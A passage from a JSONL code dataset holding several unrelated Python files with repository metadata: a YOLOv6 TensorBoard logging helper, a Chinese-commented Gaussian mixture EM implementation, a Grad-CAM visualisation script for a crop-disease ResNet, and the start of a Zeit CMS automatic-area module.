'SD'","repo_name":"matiascarbini/scraping","sub_path":"modules/scan/hiperlibertad.py","file_name":"hiperlibertad.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"12159290034","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport yaml\nimport logging\nimport shutil\n\n\ndef set_logging(name=None):\n    rank = int(os.getenv('RANK', -1))\n    logging.basicConfig(format=\"%(message)s\", level=logging.INFO if (rank in (-1, 0)) else logging.WARNING)\n    return logging.getLogger(name)\n\n\nLOGGER = set_logging(__name__)\nNCOLS = min(100, shutil.get_terminal_size().columns)\n\n\ndef load_yaml(file_path):\n    \"\"\"Load data from yaml file.\"\"\"\n    if isinstance(file_path, str):\n        with open(file_path, errors='ignore') as f:\n            data_dict = yaml.safe_load(f)\n    return data_dict\n\n\ndef save_yaml(data_dict, save_path):\n    \"\"\"Save data to yaml file\"\"\"\n    with open(save_path, 'w') as f:\n        yaml.safe_dump(data_dict, f, sort_keys=False)\n\n\ndef write_tblog(tblogger, epoch, results, lrs, losses):\n    \"\"\"Display mAP and loss information to log.\"\"\"\n    tblogger.add_scalar(\"val/mAP@0.5\", results[0], epoch + 1)\n    tblogger.add_scalar(\"val/mAP@0.50:0.95\", results[1], epoch + 1)\n\n    tblogger.add_scalar(\"train/iou_loss\", losses[0], epoch + 1)\n    tblogger.add_scalar(\"train/dist_focalloss\", losses[1], epoch + 1)\n    tblogger.add_scalar(\"train/cls_loss\", losses[2], epoch + 1)\n\n    tblogger.add_scalar(\"x/lr0\", lrs[0], epoch + 1)\n    tblogger.add_scalar(\"x/lr1\", lrs[1], epoch + 1)\n    tblogger.add_scalar(\"x/lr2\", lrs[2], epoch + 1)\n\n\ndef write_tbimg(tblogger, imgs, step, type='train'):\n    \"\"\"Display train_batch and validation predictions to tensorboard.\"\"\"\n    if type == 'train':\n        tblogger.add_image(f'train_batch', imgs, step + 1, dataformats='HWC')\n    elif type == 'val':\n        for idx, img in enumerate(imgs):\n            tblogger.add_image(f'val_img_{idx + 1}', img, step + 1, dataformats='HWC')\n    else:\n        LOGGER.warning('WARNING: Unknown image type to visualize.\\n')\n","repo_name":"meituan/YOLOv6","sub_path":"yolov6/utils/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":5298,"dataset":"github-code","pt":"19"}
{"seq_id":"33806943982","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct  8 14:32:52 2018\n\n@author: luolei\n\n使用GMM算法估计二维高斯分布样本的多核参数，未加入协方差不为零的代码\n\"\"\"\n# TODO: 修正代码，考虑加入协方差不为零的情况\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\n\ndef cov_matrix(vars, corner):\n\t\"\"\"\n\t获得协方差矩阵\n\t:param vars: 两个维度上的方差\n\t:param corner: 协方差矩阵反对角元素上的值\n\t:return: cov, 协方差矩阵\n\t\"\"\"\n\tproduct = vars[0] * vars[1]\n\tif product < 0:\n\t\traise ValueError('var must be non-negative')\n\telse:\n\t\tif (corner > pow(product, 0.5)) | (corner < -pow(product, 0.5)):\n\t\t\traise ValueError('the cov matrix is not positive semidefinite')\n\t\telse:\n\t\t\treturn np.array([[vars[0], corner], [corner, vars[1]]])\n\n\ndef gen_2d_gaussian(mean, cov, sample_num, show_plot = False, color = 'b'):\n\t\"\"\"\n\t生成二维高斯分布样本\n\t:param mean: 均值, np.array([mean_0, mean_1])\n\t:param cov: 协方差矩阵, np.array([[var_0, cov_0_1], [cov_1_0, var_1]])\n\t:param sample_num: 样本数，int\n\t:return: samples, np.array([[x, y],...])\n\t\"\"\"\n\tsamples = np.random.multivariate_normal(mean, cov, sample_num)\n\t\n\tif show_plot == True:\n\t\tshow_samples(samples, color)\n\t\n\treturn samples\n\n\ndef show_samples(samples, color = 'b'):\n\t\"\"\"\n\t显示样本分布\n\t:param samples: 样本array\n\t:param color: 颜色, str\n\t:return: None\n\t\"\"\"\n\tplt.figure('2D Gaussian Samples')\n\tplt.scatter(samples[:, 0], samples[:, 1], c = color, s = 3)\n\tplt.grid(True)\n\n\ndef gen_rand_num(K):\n\t\"\"\"\n\t产生一个包含K个0～1的随机数list\n\t:param K: 核的个数\n\t:return 随机数array\n\t\"\"\"\n\td = list()\n\tfor i in range(K):\n\t\td.append(random.random())\n\treturn np.array(d)\n\n\ndef initial_params(samples, K):\n\t\"\"\"\n\t初始化分布参数\n\t:param samples: 二维样本，shape(N, 2)\n\t:param K: 设定分量数目\n\t:param mius: 初始K个核的均值参数array，np.array([[mean_x_0, mean_y_0], [mean_x_1, mean_y_1], ..., [mean_x_k-1, mean_y_k-1]])\n\t:param sigmas: 初始K个核的方差参数array，np.array([[var_x_0, var_y_0], [var_x_1, var_y_1], ..., [var_x_k-1, var_y_k-1]])\n\t:return pis：初始权重array, np.array([w_0, ..., w_k-1])\n\t\"\"\"\n\tsamples_means = np.mean(samples, axis = 0).reshape(1, 2)\n\tsamples_vars = np.var(samples, axis = 0).reshape(1, 2)\n\tmius = np.dot(np.ones(K).reshape(K, 1), samples_means) + np.dot(gen_rand_num(K).reshape(K, 1), samples_means)\n\tsigmas = np.dot(np.ones(K).reshape(K, 1), samples_vars)\n\tpis = gen_rand_num(K)\n\t\n\treturn mius, sigmas, pis\n\n\ndef cal_2d_gaussian_prob_dist_func(ort_arr, ort_mean, ort_cov, eps = 1e-10):\n\t\"\"\"\n\t计算单个样本点的二维高斯概率密度\n\t:param ort_arr:\n\t:param mean:\n\t:param cov:\n\t:return:\n\t\"\"\"\n\tx_minus_miu = ort_arr - ort_mean\n\tsigma_det = ort_cov[0][0] * ort_cov[1][1] + eps\n\tsigma_inv = np.linalg.inv(ort_cov)\n\t\n\treturn (1 / (2 * np.pi * pow(sigma_det, 0.5))) * np.exp(-0.5 * np.dot(np.dot(x_minus_miu, sigma_inv), x_minus_miu.T))\n\n\ndef samples_gaussian_pdf(ort_samples, ort_mean, ort_cov):\n\t\"\"\"\n\t计算样本中所有点各自的概率密度\n\t:param samples:\n\t:param ort_mean:\n\t:param ort_cov:\n\t:return:\n\t\"\"\"\n\tort_samples = pd.DataFrame(ort_samples)\n\tort_samples['likelihood'] = ort_samples.apply(lambda x: cal_2d_gaussian_prob_dist_func(x, ort_mean, ort_cov), axis = 1)\n\t\n\treturn np.array(ort_samples['likelihood'])\n\n\ndef cal_gaussian_pdf_values(samples, mius, sigmas):\n\t\"\"\"\n\t计算K类中各自的样本对应的概率密度\n\t:param samples: 样本\n\t:param mius: K个核的均值参数array，np.array([[mean_x_0, mean_y_0], [mean_x_1, mean_y_1], ..., [mean_x_k-1, mean_y_k-1]])\n\t:param sigmas: K个核的方差参数array，np.array([[var_x_0, var_y_0], [var_x_1, var_y_1], ..., [var_x_k-1, var_y_k-1]])\n\t:return:\n\t\"\"\"\n\tK = len(mius)\n\tgaussian_pdf_values = []\n\tfor k in range(K):\n\t\tcov = np.array(\n\t\t\t[[sigmas[k][0], 0],\n\t\t\t [0, sigmas[k][1]]]\n\t\t)\n\t\tgaussian_pdf_values.append(samples_gaussian_pdf(samples, mius[k], cov))\n\t\n\treturn gaussian_pdf_values\n\n\ndef cal_weighed_gaussian_pdf_value(gaussian_pdf_values, pis):\n\t\"\"\"\n\t计算K类加权后的各样本概率密度\n\t:param gaussian_pdf_values: 原样本各点概率密度\n\t:param pis: 权重\n\t:return: K类加权后的各样本概率密度\n\t\"\"\"\n\tK = len(gaussian_pdf_values)\n\tgaussian_pdf_values_weighted = []\n\tfor k in range(K):\n\t\tgaussian_pdf_values_weighted.append(np.array([pis[k] * p for p in gaussian_pdf_values[k]]))\n\t\n\treturn gaussian_pdf_values_weighted\n\n\ndef cal_gammas(samples, gaussian_pdf_values_weighted):\n\t\"\"\"\n\t归一化每个样本在各类的权重\n\t:param samples: 样本array\n\t:param gaussian_pdf_values_weighted: 加权后的高斯概率密度值\n\t:return:\n\t\"\"\"\n\tK = len(gaussian_pdf_values_weighted)\n\tN = len(samples)\n\tgammas = []  # gammas有K个元素list，每个元素与samples等长\n\tgaussian_pdf_weighted_sum = [sum(gaussian_pdf_values_weighted[i][j] for i in range(K)) for j in range(N)]  # 单样本三类中的总和\n\tfor k in range(K):\n\t\tgammas.append([gaussian_pdf_values_weighted[k][i] / gaussian_pdf_weighted_sum[i] for i in range(N)])\n\t\n\treturn gammas\n\n\ndef em_iteration(samples, mius, sigmas, pis, max_iter = 1000, tol = 1e-6, show_plot = False):\n\t\"\"\"\n\t进行EM迭代\n\t:param samples: 二维样本array, np.array([[x, y], ...])\n\t:param mius: K个核的均值参数array，np.array([[mean_x_0, mean_y_0], [mean_x_1, mean_y_1], ..., [mean_x_k-1, mean_y_k-1]])\n\t:param sigmas: K个核的方差参数array，np.array([[var_x_0, var_y_0], [var_x_1, var_y_1], ..., [var_x_k-1, var_y_k-1]])\n\t:param pis: K个核的权重array, np.array([w_0, ..., w_k-1])\n\t:param max_iter: 最大迭代次数\n\t:param tol: 误差限\n\t:param show_plot: 是否显示按照估计的参数得到的散点图\n\t:return:\n\t\"\"\"\n\tK = len(mius)\n\tN = len(samples)\n\tmax_log_likelihood = []\n\tfor iteration in range(max_iter):\n\t\t# E step: 计算gamma\n\t\tgaussian_pdf_values = cal_gaussian_pdf_values(samples, mius, sigmas)\n\t\tgaussian_pdf_values_weighted = cal_weighed_gaussian_pdf_value(gaussian_pdf_values, pis)\n\t\tgammas = cal_gammas(samples, gaussian_pdf_values_weighted)\n\t\t\n\t\t# M step：参数更新\n\t\t# 1. miu更新\n\t\tfor k in range(K):\n\t\t\tNk = np.sum(gammas[k])  # 在k类上的gamma之和\n\t\t\tmius[k] = sum([gammas[k][i] * samples[i] for i in range(N)]) / Nk\n\t\t\n\t\t# 2. sigma更新\n\t\tfor k in range(K):\n\t\t\tNk = np.sum(gammas[k])\n\t\t\tsigmas[k] = sum([gammas[k][i] * pow((samples[i] - mius[k]), 2) for i in range(N)]) / Nk\n\t\t\n\t\t# 3. pi更新\n\t\tfor k in range(K):\n\t\t\tNk = np.sum(gammas[k])\n\t\t\tpis[k] = Nk / N\n\t\t\n\t\t# 计算对数似然函数\n\t\tmax_log_likelihood.append(\n\t\t\tnp.log(\n\t\t\t\tnp.sum(\n\t\t\t\t\tnp.dot(pis.reshape(1, K), np.array(cal_gaussian_pdf_values(samples, mius, sigmas)).reshape(K, N))\n\t\t\t\t)\n\t\t\t)\n\t\t)\n\t\t\n\t\tprint('iter step %s, max_log_likelihood: %s' % (iteration, max_log_likelihood[-1]))\n\t\t\n\t\tif (iteration >= 1) & (abs(max_log_likelihood[iteration] - max_log_likelihood[iteration - 1]) <= tol):\n\t\t\tif show_plot == True:\n\t\t\t\tfor k in range(K):\n\t\t\t\t\tcov = cov_matrix(sigmas[k], 0)\n\t\t\t\t\t_ = gen_2d_gaussian(mius[k], cov, sample_num, show_plot = True, color = 'r')\n\t\t\tbreak\n\t\telif iteration == max_iter - 1:\n\t\t\tprint('GMM failed')\n\t\n\treturn mius, sigmas, pis\n\n\nif __name__ == '__main__':\n\t# 生成参数和样本\n\tsample_num = 300\n\tmeans = [[1, 2], [12, 2], [6, 12]]\n\tvars = [[1, 3], [2, 3], [3, 2]]\n\tcorners = [0, 0, 0]\n\tfor i in range(len(means)):\n\t\tcov = cov_matrix(vars[i], corners[i])\n\t\tif i == 0:\n\t\t\tsamples = gen_2d_gaussian(means[i], cov, sample_num, show_plot = True)\n\t\telse:\n\t\t\tsamples = np.vstack((samples, gen_2d_gaussian(means[i], cov, sample_num, show_plot = True)))\n\t\n\t# 初始化计算参数\n\tK = 5  # kernel数\n\tmius, sigmas, pis = initial_params(samples, K)  # 初始的均值、方差和kernel分布权重\n\t\n\t# 进行最大期望迭代\n\tmius, sigmas, pis = em_iteration(samples, mius, sigmas, pis, max_iter = 1000, tol = 1e-5, show_plot = True)\n\t\n\n\t\n\n\t\n\t\n\n\n","repo_name":"Ulti-Dreisteine/modeling_tools","sub_path":"lib/multi_dimensional_gmm_model/main/gmm.py","file_name":"gmm.py","file_ext":"py","file_size_in_byte":7892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"12314104745","text":"import torch\r\nimport argparse\r\nimport cv2\r\nimport numpy as np\r\nimport torch\r\nfrom torch.autograd import Function\r\nfrom torchvision import models, transforms\r\n\r\n\r\nclass FeatureExtractor():\r\n    \"\"\" Class for extracting activations and\r\n    registering gradients from targetted intermediate layers \"\"\"\r\n\r\n    def __init__(self, model, target_layers):\r\n        # FeatureExtractor(model.layer4, [\"2\"])\r\n        self.model = model  # model.layer4\r\n        self.target_layers = target_layers  # [\"2\"]\r\n        self.gradients = []\r\n\r\n    def save_gradient(self, grad):\r\n        self.gradients.append(grad)  # torch.Size([1, 2048, 7, 7])\r\n\r\n    def __call__(self, x):  # torch.Size([1, 1024, 14, 14])\r\n        outputs = []\r\n        self.gradients = []\r\n        for name, module in self.model._modules.items():\r\n            # '0'、 '1'、 '2'\r\n            x = module(x)\r\n            if name in self.target_layers:  # [\"2\"]\r\n                x.register_hook(self.save_gradient)\r\n                outputs += [x]\r\n        return outputs, x  # 单个元素的列表torch.Size([1, 2048, 7, 7]) torch.Size([1, 2048, 7, 7])\r\n\r\n\r\nclass ModelOutputs():\r\n    \"\"\" Class for making a forward pass, and getting:\r\n    1. The network output.\r\n    2. Activations from intermeddiate targetted layers.\r\n    3. Gradients from intermeddiate targetted layers. \"\"\"\r\n\r\n    def __init__(self, model, feature_module, target_layers):\r\n        # ModelOutputs(model, model.layer4, [\"2\"])\r\n        self.model = model  # model\r\n        self.feature_module = feature_module  # model.layer4\r\n        self.feature_extractor = FeatureExtractor(self.feature_module, target_layers)\r\n        # FeatureExtractor(model.layer4, [\"2\"])\r\n\r\n    def get_gradients(self):\r\n        return self.feature_extractor.gradients  # 只有一个元素列表类型 torch.Size([1, 2048, 7, 7])\r\n\r\n    def __call__(self, x):\r\n        # target_activations = []  # 这行代码没有意义\r\n        for name, module in self.model._modules.items():  # 遍历有序字典\r\n            # 'conv1' 'bn1' 'relu' 'maxpool' 'layer1'\r\n            # 'layer2' 'layer3' 'layer4'  'avgpool' 'fc'\r\n            if module == self.feature_module:  # model.layer4\r\n                target_activations, x = self.feature_extractor(x)\r\n                # torch.Size([1, 1024, 14, 14]) -> torch.Size([1, 2048, 7, 7])\r\n            elif \"avgpool\" in name.lower():  # 'avgpool'\r\n                x = module(x)  # torch.Size([1, 2048, 7, 7]) -> torch.Size([1, 2048, 1, 1])\r\n                x = x.view(x.size(0), -1)  # torch.Size([1, 2048])\r\n            else:\r\n                x = module(x)\r\n\r\n        return target_activations, x  # 列表torch.Size([1, 2048, 7, 7]), torch.Size([1, 1000])\r\n\r\n\r\ndef preprocess_image(img):\r\n    '''将numpy的(H, W, RGB)格式多维数组转为张量后再进行指定标准化,最后再增加一个batchsize维度后返回'''\r\n    normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\r\n                                     std=[0.229, 0.224, 0.225])\r\n    preprocessing = transforms.Compose([\r\n        transforms.ToTensor(),\r\n        normalize,\r\n    ])\r\n    return preprocessing(img.copy()).unsqueeze(0)\r\n\r\n\r\ndef show_cam_on_image(img, mask):\r\n    '''将mask图片转化为热力图,叠加到img上,再返回np.uint8格式的图片.'''\r\n    heatmap = cv2.applyColorMap(np.uint8(255 * mask), cv2.COLORMAP_JET)\r\n    heatmap = np.float32(heatmap) / 255\r\n    cam = heatmap + np.float32(img)\r\n    cam = cam / np.max(cam)\r\n    return np.uint8(255 * cam)\r\n\r\n\r\nclass GradCam:\r\n    def __init__(self, model, feature_module, target_layer_names, use_cuda):\r\n        # GradCam(model=model, feature_module=model.layer4, \\\r\n        #                target_layer_names=[\"2\"], use_cuda=args.use_cuda)\r\n        self.model = model  # model\r\n        self.feature_module = feature_module  # model.layer4\r\n        self.model.eval()\r\n        self.cuda = use_cuda\r\n        if self.cuda:\r\n            self.model = model.cuda()\r\n\r\n        self.extractor = ModelOutputs(self.model, self.feature_module, target_layer_names)\r\n        # ModelOutputs(model, model.layer4, [\"2\"])\r\n\r\n    def forward(self, input_img):  # 似乎这个方法没有使用到,注释掉之后没有影响,没有被执行到\r\n        print(\"林麻子\".center(50, '-'))  # 这行打印语句用来证明,该方法并没有被调用执行.\r\n        return self.model(input_img)\r\n\r\n    def __call__(self, input_img, target_category=None):\r\n        if self.cuda:\r\n            input_img = input_img.cuda()  # torch.Size([1, 3, 224, 224])\r\n\r\n        features, output = self.extractor(input_img)  # 保存中间特征图的列表, 以及网络最后输出的分类结果\r\n        # 列表[torch.Size([1, 2048, 7, 7])], 张量:torch.Size([1, 1000])\r\n        if target_category == None:\r\n            target_category = np.argmax(output.cpu().data.numpy())  # 多维数组展平后最大值的索引\r\n            # <class 'numpy.int64'>  243\r\n\r\n        one_hot = np.zeros((1, output.size()[-1]), dtype=np.float32)  # 独热编码,shape:(1, 1000)\r\n        one_hot[0, target_category] = 1  # 独热编码  shape (1, 1000) # one_hot[0][target_category] = 1\r\n        one_hot = torch.from_numpy(one_hot).requires_grad_(False)  # torch.Size([1, 1000]) # requires_grad_(True)\r\n        if self.cuda:\r\n            one_hot = one_hot.cuda()\r\n\r\n        loss = torch.sum(\r\n            one_hot * output)  # tensor(9.3856, grad_fn=<SumBackward0>) one_hot = torch.sum(one_hot * output)\r\n\r\n        self.feature_module.zero_grad()  # 将模型的所有参数的梯度清零.\r\n        self.model.zero_grad()  # 将模型的所有参数的梯度清零.\r\n        loss.backward()  # one_hot.backward(retain_graph=True)  \r\n\r\n        grads_val = self.extractor.get_gradients()[0].cpu().data.numpy()  # shape:(1, 2048, 7, 7)  # 顾名思义,梯度值\r\n        # 注: self.extractor.get_gradients()[-1]返回保存着梯度的列表,[-1]表示最后一项,即最靠近输入的一组特征层上的梯度\r\n        target = features[-1]  # torch.Size([1, 2048, 7, 7])  列表中的最后一项,也是唯一的一项,特征图\r\n        target = target.cpu().data.numpy()[0, :]  # shape: (2048, 7, 7)\r\n\r\n        weights = np.mean(grads_val, axis=(2, 3))[0, :]  # shape: (2048,)  计算每个特征图上梯度的均值,以此作为权重\r\n        cam = np.zeros(target.shape[1:], dtype=np.float32)  # 获得零矩阵 shape: (7, 7)\r\n\r\n        for i, w in enumerate(weights):  # 迭代遍历该权重\r\n            cam += w * target[i, :, :]  # 使用该权重,对特征图进行线性组合\r\n\r\n        cam = np.maximum(cam, 0)  # shape: (7, 7) # 相当于ReLU函数\r\n        # print(type(input_img.shape[3:1:-1]),'cxq林麻子cxq',input_img.shape[3:1:-1])\r\n        # print(type(input_img.shape[2:]),'cxq林麻子cxq',input_img.shape[2:])\r\n        cam = cv2.resize(cam, input_img.shape[3:1:-1])  # shape: (224, 224) # 这里要留意传入的形状是(w,h) 所以这里切片的顺序是反过来的\r\n        cam = cam - np.min(cam)  # shape: (224, 224)  # 以下两部是做归一化\r\n        cam = cam / np.max(cam)  # shape: (224, 224)  # 归一化,取值返回是[0,1]\r\n        return cam  # shape: (224, 224) 取值返回是[0,1]\r\n\r\n\r\nclass GuidedBackpropReLU(Function):\r\n    '''特殊的ReLU,区别在于反向传播时候只考虑大于零的输入和大于零的梯度'''\r\n\r\n    '''\r\n    @staticmethod\r\n    def forward(ctx, input_img):  # torch.Size([1, 64, 112, 112])\r\n        positive_mask = (input_img > 0).type_as(input_img)  # torch.Size([1, 64, 112, 112])\r\n        # output = torch.addcmul(torch.zeros(input_img.size()).type_as(input_img), input_img, positive_mask)\r\n        output = input_img * positive_mask  # 这行代码和上一行的功能相同\r\n        ctx.save_for_backward(input_img, output)\r\n        return output  # torch.Size([1, 64, 112, 112])\r\n    '''\r\n\r\n    # 上部分定义的函数功能和以下定义的函数一致\r\n    @staticmethod\r\n    def forward(ctx, input_img):  # torch.Size([1, 64, 112, 112])\r\n        output = torch.clamp(input_img, min=0.0)\r\n        # print('函数中的输入张量requires_grad',input_img.requires_grad)\r\n        ctx.save_for_backward(input_img, output)\r\n        return output  # torch.Size([1, 64, 112, 112])\r\n\r\n    @staticmethod\r\n    def backward(ctx, grad_output):  # torch.Size([1, 2048, 7, 7])\r\n        input_img, output = ctx.saved_tensors  # torch.Size([1, 2048, 7, 7]) torch.Size([1, 2048, 7, 7])\r\n        # grad_input = None  # 这行代码没作用\r\n        positive_mask_1 = (input_img > 0).type_as(grad_output)  # torch.Size([1, 2048, 7, 7])  输入的特征大于零\r\n        positive_mask_2 = (grad_output > 0).type_as(grad_output)  # torch.Size([1, 2048, 7, 7])  梯度大于零\r\n        # grad_input = torch.addcmul(\r\n        #                             torch.zeros(input_img.size()).type_as(input_img),\r\n        #                             torch.addcmul(\r\n        #                                             torch.zeros(input_img.size()).type_as(input_img), \r\n        #                                             grad_output,\r\n        #                                             positive_mask_1\r\n        #                             ), \r\n        #                             positive_mask_2\r\n        # )\r\n        grad_input = grad_output * positive_mask_1 * positive_mask_2  # 这行代码的作用和上一行代码相同\r\n        return grad_input\r\n\r\n\r\nclass GuidedBackpropReLUModel:\r\n    '''相对于某个类别(默认是最大置信度对应的类别)的置信度得分,计算输入图片上的梯度,并返回'''\r\n\r\n    def __init__(self, model, use_cuda):\r\n        # GuidedBackpropReLUModel(model=model, use_cuda=args.use_cuda)\r\n        self.model = model\r\n        self.model.eval()\r\n        self.cuda = use_cuda\r\n        if self.cuda:\r\n            self.model = model.cuda()\r\n\r\n        def recursive_relu_apply(module_top):\r\n            '''递归地将模块内的relu模块替换掉用户自己定义的GuidedBackpropReLU模块 '''\r\n            for idx, module in module_top._modules.items():\r\n                recursive_relu_apply(module)\r\n                if module.__class__.__name__ == 'ReLU':  # module对象所属的类,该类的名称\r\n                    # print('成功替换...')  # 验证确实得到了替换\r\n                    module_top._modules[idx] = GuidedBackpropReLU.apply\r\n\r\n        # replace ReLU with GuidedBackpropReLU\r\n        recursive_relu_apply(self.model)\r\n\r\n    # def forward(self, input_img):\r\n    #     return self.model(input_img)\r\n\r\n    def __call__(self, input_img, target_category=None):\r\n        '''相对于某个类别(默认是最大置信度对应的类别)的置信度得分,计算输入图片上的梯度,并返回'''\r\n        if self.cuda:\r\n            input_img = input_img.cuda()\r\n\r\n        input_img = input_img.requires_grad_(True)  # torch.Size([1, 3, 224, 224])\r\n        output = self.model(input_img)  # torch.Size([1, 1000])\r\n        if target_category == None:\r\n            target_category = np.argmax(output.cpu().data.numpy())  # 243\r\n\r\n        one_hot = np.zeros((1, output.size()[-1]), dtype=np.float32)  # (1, 1000)\r\n        one_hot[0, target_category] = 1  # one_hot[0][target_category] = 1\r\n        one_hot = torch.from_numpy(one_hot).requires_grad_(False)  # torch.Size([1, 1000])\r\n        # one_hot = torch.from_numpy(one_hot).requires_grad_(True)  # 这个张量不需要计算梯度\r\n        if self.cuda:\r\n            one_hot = one_hot.cuda()\r\n\r\n        loss = torch.sum(one_hot * output)\r\n        loss.backward()  # one_hot.backward(retain_graph=True)\r\n\r\n        img_grad = input_img.grad.cpu().data.numpy()  # shape (1, 3, 224, 224)\r\n        img_grad = img_grad[0, :, :, :]  # shape (3, 224, 224)\r\n\r\n        return img_grad  # shape (3, 224, 224)\r\n\r\n\r\ndef get_args():\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument('--use-cuda', action='store_true', default=False,\r\n                        help='Use NVIDIA GPU acceleration')\r\n    parser.add_argument('--image-path', type=str, default='./examples/both.png',\r\n                        # default='./examples/1.jpg', # './examples/both.png'\r\n                        help='Input image path')  # default='./examples/both.png',\r\n    args = parser.parse_args()\r\n    args.use_cuda = args.use_cuda and torch.cuda.is_available()\r\n    if args.use_cuda:\r\n        print(\"Using GPU for acceleration\")\r\n    else:\r\n        print(\"Using CPU for computation\")\r\n\r\n    return args\r\n\r\n\r\ndef deprocess_image(img):\r\n    '''先作标准化处理,然后做变换y=0.1*x+0.5,限定[0,1]区间后映射到[0,255]区间'''\r\n    \"\"\" see https://github.com/jacobgil/keras-grad-cam/blob/master/grad-cam.py#L65 \"\"\"\r\n    img = img - np.mean(img)\r\n    img = img / (np.std(img) + 1e-5)\r\n    img = img * 0.1\r\n    img = img + 0.5\r\n    img = np.clip(img, 0, 1)\r\n    return np.uint8(img * 255)\r\n\r\n\r\nif __name__ == '__main__':\r\n    \"\"\" python grad_cam.py <path_to_image>\r\n    1. Loads an image with opencv.\r\n    2. Preprocesses it for VGG19 and converts to a pytorch variable.\r\n    3. Makes a forward pass to find the category index with the highest score,\r\n    and computes intermediate activations.\r\n    Makes the visualization. \"\"\"\r\n    from model import resnet34\r\n\r\n    args = get_args()\r\n    # 默认情况下: args.image_path = './examples/both.png', \r\n    # 默认情况下: args.use_cuda = False,\r\n    image_path = './dataset_tomato/3.jpg'\r\n    model = resnet34()\r\n    model_weight_path = \"./best.pth\"\r\n    grad_cam = GradCam(model=model, feature_module=model.layer4,\r\n                       target_layer_names=[\"2\"], use_cuda=args.use_cuda)\r\n    import skimage.data\r\n    import skimage.io\r\n    import skimage.transform\r\n\r\n    pic_name='./dataset_tomato/3.jpg'\r\n    img = skimage.io.imread(pic_name)\r\n    img = skimage.transform.resize(img, (256, 256))\r\n    img = np.asarray(img, dtype=np.float32)# BGR格式转换为RGB格式 shape: (224, 224, 3) 即(H, W, RGB)\r\n    input_img = preprocess_image(img)  # torch.Size([1, 3, 224, 224])\r\n\r\n    # If None, returns the map for the highest scoring category.\r\n    # Otherwise, targets the requested category.\r\n    target_category = None\r\n    grayscale_cam = grad_cam(input_img, target_category=None)  # shape: (224, 224)\r\n\r\n    grayscale_cam = cv2.resize(grayscale_cam, (img.shape[1], img.shape[0]))\r\n    # shape: (224, 224) # 这里要留意传入的形状是(w,h)  其实以上这行代码不需要执行,暂且先留着\r\n\r\n    cam = show_cam_on_image(img, grayscale_cam)  # shape: (224, 224, 3)\r\n    cv2.imwrite(\"cam.jpg\", cam)  # 保存图片\r\n\r\n    # -----------------------------------------------------------------------------------\r\n\r\n    gb_model = GuidedBackpropReLUModel(model=model, use_cuda=args.use_cuda)\r\n    # input_img.grad.zero_()  # AttributeError: 'NoneType' object has no attribute 'zero_'\r\n    gb = gb_model(input_img, target_category=None)  # shape: (3, 224, 224) 相对于输入图像的梯度\r\n    gb = gb.transpose((1, 2, 0))  # 调整通道在维度中的位置顺序 shape:(224, 224, 3)  相对于输入图像的梯度\r\n\r\n    cam_mask = cv2.merge([grayscale_cam, grayscale_cam, grayscale_cam])  # shape:(224, 224, 3) # 由多个单通道的数组创建一个多通道的数组\r\n    cam_gb = deprocess_image(cam_mask * gb)  # shape: (224, 224, 3)\r\n    cv2.imwrite('cam_gb.jpg', cam_gb)  # 保存图片\r\n\r\n    gb = deprocess_image(gb)  # shape: (224, 224, 3)\r\n    cv2.imwrite('gb.jpg', gb)  # 保存图片\r\n\r\n    # -----------------------------------------------------------------------------------\r\n\r\n    # cv2.imwrite(\"cam.jpg\", cam)  # 保存图片\r\n    # cv2.imwrite('gb.jpg', gb)  # 保存图片\r\n    # cv2.imwrite('cam_gb.jpg', cam_gb)  # 保存图片\r\n\r\n# 运行程序: python gradcam.py --image-path 1.jpg\r\n# 运行程序: python gradcam.py --image-path ./examples/both.png\r\n\r\n","repo_name":"2585254146/resnet_maize_disease","sub_path":"pics.py","file_name":"pics.py","file_ext":"py","file_size_in_byte":15801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"41520820169","text":"from zeit.content.cp.area import cached_on_content\nfrom zeit.content.cp.interfaces import IAutomaticTeaserBlock\nfrom zope.cachedescriptors.property import Lazy as cachedproperty\nimport logging\nimport zeit.cms.content.interfaces\nimport zeit.cms.interfaces\nimport zeit.content.cp.blocks.rss\nimport zeit.content.cp.blocks.teaser\nimport zeit.content.cp.interfaces\nimport zeit.contentquery.interfaces\nimport zeit.contentquery.query\nimport zeit.retresco.content\nimport zeit.retresco.interfaces\nimport zope.component\n\n\nlog = logging.getLogger(__name__)\n\n\n@zope.component.adapter(zeit.content.cp.interfaces.IArea)\n@zope.interface.implementer(zeit.content.cp.interfaces.IRenderedArea)\nclass AutomaticArea(zeit.cms.content.xmlsupport.Persistent):\n    def __init__(self, context):\n        self.context = context\n        self.xml = self.context.xml\n        self.__parent__ = self.context\n\n    # Convenience: Delegate IArea to our context, so we can be used like one.\n    def __getattribute__(self, name):\n        try:\n            return object.__getattribute__(self, name)\n        except AttributeError:\n            # There's no interface for xmlsupport.Persistent which could tell\n            # us that this attribute needs special treatment.\n            if name == '__parent__':\n                return super().__parent__\n            if name in zeit.content.cp.interfaces.IArea:\n                return getattr(self.context, name)\n            raise\n\n    @cached_on_content('area_values', lambda x: x.context.__name__)\n    def values(self):\n        if not self.automatic:\n            return self.context.values()\n\n        try:\n            content = self._content_query()\n        except LookupError:\n            log.warning('%s found no IContentQuery type %s', self.context, self.automatic_type)\n            return self.context.values()\n\n        result = []\n        for block in self.context.values():\n            if not IAutomaticTeaserBlock.providedBy(block):\n                result.append(block)\n                continue\n            try:\n                teaser = content.pop(0)\n            except IndexError:\n                continue\n            block.insert(0, teaser)\n            result.append(block)\n\n        return result\n\n    @cachedproperty\n    def _content_query(self):\n        return zope.component.getAdapter(\n            self, zeit.contentquery.interfaces.IContentQuery, name=self.automatic_type or ''\n        )\n\n    def filter_values(self, *interfaces):\n        # XXX copy&paste from zeit.edit.container.Base.filter_values\n        for child in self.values():\n            if any(x.providedBy(child) for x in interfaces):\n                yield 